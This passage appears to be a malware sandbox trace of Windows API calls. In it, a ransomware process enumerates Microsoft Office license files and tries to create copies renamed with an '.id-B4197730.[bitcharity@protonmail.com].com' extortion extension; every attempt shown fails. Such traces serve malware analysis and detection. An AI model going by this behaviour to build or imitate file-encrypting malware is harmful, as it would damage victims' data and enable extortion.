dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.289] CloseHandle (hObject=0x1228) returned 1 [0253.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 88 [0253.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ppd.xrm-ms") returned 88 [0253.290] lstrlenW (lpString=".doc") returned 4 [0253.290] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.290] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.291] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusdemor_bypasstrial180-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.291] CloseHandle (hObject=0x1228) returned 1 [0253.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 91 [0253.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusDemoR_BypassTrial180-ul-oob.xrm-ms") returned 91 [0253.291] lstrlenW (lpString=".doc") returned 4 [0253.292] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.292] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.292] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.292] CloseHandle (hObject=0x1228) returned 1 [0253.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms") returned 79 [0253.293] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-pl.xrm-ms") returned 79 [0253.293] lstrlenW (lpString=".doc") returned 4 [0253.293] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.294] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.294] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.294] CloseHandle (hObject=0x1228) returned 1 [0253.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms") returned 80 [0253.294] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ppd.xrm-ms") returned 80 [0253.294] lstrlenW (lpString=".doc") returned 4 [0253.295] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.295] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.295] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.296] CloseHandle (hObject=0x1228) returned 1 [0253.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms") returned 83 [0253.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-oob.xrm-ms") returned 83 [0253.296] lstrlenW (lpString=".doc") returned 4 [0253.302] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.302] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusmsdnr_retail-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.302] CloseHandle (hObject=0x1228) returned 1 [0253.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms") returned 83 [0253.303] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusMSDNR_Retail-ul-phn.xrm-ms") returned 83 [0253.303] lstrlenW (lpString=".doc") returned 4 [0253.304] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.304] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.304] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.304] CloseHandle (hObject=0x1228) returned 1 [0253.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms") returned 75 [0253.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ppd.xrm-ms") returned 75 [0253.304] lstrlenW (lpString=".doc") returned 4 [0253.305] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.305] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_grace-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.306] CloseHandle (hObject=0x1228) returned 1 [0253.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms") returned 78 [0253.306] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_Grace-ul-oob.xrm-ms") returned 78 [0253.306] lstrlenW (lpString=".doc") returned 4 [0253.307] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.307] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.307] CloseHandle (hObject=0x1228) returned 1 [0253.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms") returned 77 [0253.307] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-pl.xrm-ms") returned 77 [0253.307] lstrlenW (lpString=".doc") returned 4 [0253.308] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.308] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.308] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.308] CloseHandle (hObject=0x1228) returned 1 [0253.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms") returned 78 [0253.309] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ppd.xrm-ms") returned 78 [0253.309] lstrlenW (lpString=".doc") returned 4 [0253.309] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.310] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.310] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.310] CloseHandle (hObject=0x1228) returned 1 [0253.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0253.311] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-oob.xrm-ms") returned 81 [0253.311] lstrlenW (lpString=".doc") returned 4 [0253.311] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.312] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.312] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.312] CloseHandle (hObject=0x1228) returned 1 [0253.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0253.312] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp-ul-phn.xrm-ms") returned 81 [0253.312] lstrlenW (lpString=".doc") returned 4 [0253.313] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.313] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.313] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.313] CloseHandle (hObject=0x1228) returned 1 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms") returned 78 [0253.313] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-pl.xrm-ms") returned 78 [0253.314] lstrlenW (lpString=".doc") returned 4 [0253.314] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.314] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.314] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.314] CloseHandle (hObject=0x1228) returned 1 [0253.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms") returned 79 [0253.315] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ppd.xrm-ms") returned 79 [0253.315] lstrlenW (lpString=".doc") returned 4 [0253.316] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.316] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.316] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.316] CloseHandle (hObject=0x1228) returned 1 [0253.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms") returned 82 [0253.316] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-oob.xrm-ms") returned 82 [0253.316] lstrlenW (lpString=".doc") returned 4 [0253.317] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.317] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.317] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp2-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.317] CloseHandle (hObject=0x1228) returned 1 [0253.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms") returned 82 [0253.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp2-ul-phn.xrm-ms") returned 82 [0253.318] lstrlenW (lpString=".doc") returned 4 [0253.319] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.319] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.319] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.319] CloseHandle (hObject=0x1228) returned 1 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms") returned 78 [0253.319] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-pl.xrm-ms") returned 78 [0253.319] lstrlenW (lpString=".doc") returned 4 [0253.320] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.320] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.320] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.320] CloseHandle (hObject=0x1228) returned 1 [0253.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms") returned 79 [0253.321] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ppd.xrm-ms") returned 79 [0253.321] lstrlenW (lpString=".doc") returned 4 [0253.321] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.322] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.322] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.322] CloseHandle (hObject=0x1228) returned 1 [0253.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms") returned 82 [0253.322] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-oob.xrm-ms") returned 82 [0253.322] lstrlenW (lpString=".doc") returned 4 [0253.323] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.323] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.323] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp3-ul-phn.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.323] CloseHandle (hObject=0x1228) returned 1 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms") returned 82 [0253.324] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp3-ul-phn.xrm-ms") returned 82 [0253.324] lstrlenW (lpString=".doc") returned 4 [0253.325] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.325] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.325] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.325] CloseHandle (hObject=0x1228) returned 1 [0253.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms") returned 78 [0253.326] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-pl.xrm-ms") returned 78 [0253.326] lstrlenW (lpString=".doc") returned 4 [0253.326] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.327] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.327] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.327] CloseHandle (hObject=0x1228) returned 1 [0253.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms") returned 79 [0253.327] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ppd.xrm-ms") returned 79 [0253.328] lstrlenW (lpString=".doc") returned 4 [0253.328] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.328] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.329] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\proplusr_oem_perp4-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.329] CloseHandle (hObject=0x1228) returned 1 [0253.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms") returned 82 [0253.329] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ProPlusR_OEM_Perp4-ul-oob.xrm-ms") returned 82 [0253.329] lstrlenW (lpString=".doc") returned 4 [0253.330] SetFilePointerEx (in: hFile=0x1228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x39efec0 | out: lpNewFilePointer=0x0) returned 1 [0253.330] SetFilePointerEx (in: 